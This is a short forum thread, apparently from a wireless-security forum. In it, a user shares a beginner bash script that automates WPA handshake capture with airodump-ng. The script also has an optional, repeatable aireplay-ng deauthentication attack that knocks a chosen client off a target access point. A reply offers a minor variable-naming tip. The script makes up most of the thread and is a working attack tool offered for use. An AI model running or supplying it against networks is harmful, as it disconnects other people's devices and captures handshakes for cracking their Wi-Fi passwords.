Results 1 to 3 of 3

Thread: wpa handshake script

  1. #1
    Just burned his ISO
    Join Date
    Jan 2010
    Posts
    13

    Default wpa handshake script

    Here is a very basic bash script, keep in mind that this is one of my first scripts ever, im sure there are other and better ways to do this. basiclly i just did the script to learn how to make a more advanced script then "hello world"

    the script works in three stages. first run it, and when you find your own AP you pres ctrl-c to quit the airodump-ng scan. then the script will ask you what channel you want to look closer at. when you are done, press ctrl-c again. The script will continue to ask you questions like essid and what filename you want on your saved file. and so on.

    you need to change the IF to fit your interface.
    you also need to change the PATHNAME to fit your needs.

    Code:
    #!/bin/bash
    
    PATHNAME="/home/kazu/"
    IF="mon0"
    
    airodump-ng --encrypt wpa "$IF"
    
    #enter channel
    echo -n "What channel do you want to look closer at?: "
    read CHANNEL
    airodump-ng -c "$CHANNEL" --encrypt wpa "$IF"
    
    #get information
    echo -n "Enter the BSSID MAC of the AP: "
    read BSSID
    echo -n "Enter the filename you want: "
    read FILENAME
    echo -n "Do you want to deauth the target? Y/N? "
    read YNS
    
    if [ "$YNS" = "y" ]
    then
    echo -n "How many deauths do you want to do?: "
    read DEAUTH
    echo -n "Enter how many seconds you want before deauths kicks in: "
    read TIME
    echo -n "Enter the STATION MAC adress: "
    read STATION
    xterm -geometry 95x15+0+0 -e airodump-ng -c "$CHANNEL" --bssid "$BSSID" -w "$PATHNAME""$FILENAME" "$IF" &
    echo "Scanning and saving to file"
    echo "Sending deauth in "$TIME" seconds"
    sleep "$TIME"
    xterm -hold -geometry 95x15+0+223 -e aireplay-ng -0 "$DEAUTH" -a "$BSSID" -c "$STATION" "$IF" &
    echo -n "Do you want to re-deauth or quit? Y/Q: "
    read REDEAUTHDQ
    
    if [ "$REDEAUTHDQ" = "y" ]
    then 
    echo -n "How many deauths do you want to do?: "
    read REDEAUTH
    xterm -hold -geometry 95x15+0+223 -e aireplay-ng -0 "$REDEAUTH" -a "$BSSID" -c "$STATION" "$IF" &
    else
    killall xterm
    fi
    else
    echo "Scanning and saving to file, will NOT deauth"
    xterm -geometry 95x15+0+0 -e airodump-ng -c "$CHANNEL" --bssid "$BSSID" -w "$PATHNAME""$FILENAME" "$IF" &
    fi
    
    echo -n "you want to quit? Y/N: "
    read QUITYN
    
    if [ "$QUITYN" = "y" ]
    then 
    killall xterm
    fi
    
    #end

  2. #2
    Very good friend of the forum Gitsnik's Avatar
    Join Date
    Jan 2010
    Location
    The Crystal Wind
    Posts
    851

    Default

    Two tips (both related):

    PATHNAME="/home/kazu/"
    IF="mon0"

    Then you can just use those instead of having it hardcoded into your script.
    Still not underestimating the power...

    There is no such thing as bad information - There is truth in the data, so you sift it all, even the crap stuff.

  3. #3
    Just burned his ISO
    Join Date
    Jan 2010
    Posts
    13

    Default

    Quote Originally Posted by Gitsnik View Post
    Two tips (both related):
    PATHNAME="/home/kazu/"
    IF="mon0"
    Ah, much better. Thank you for that tip!

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •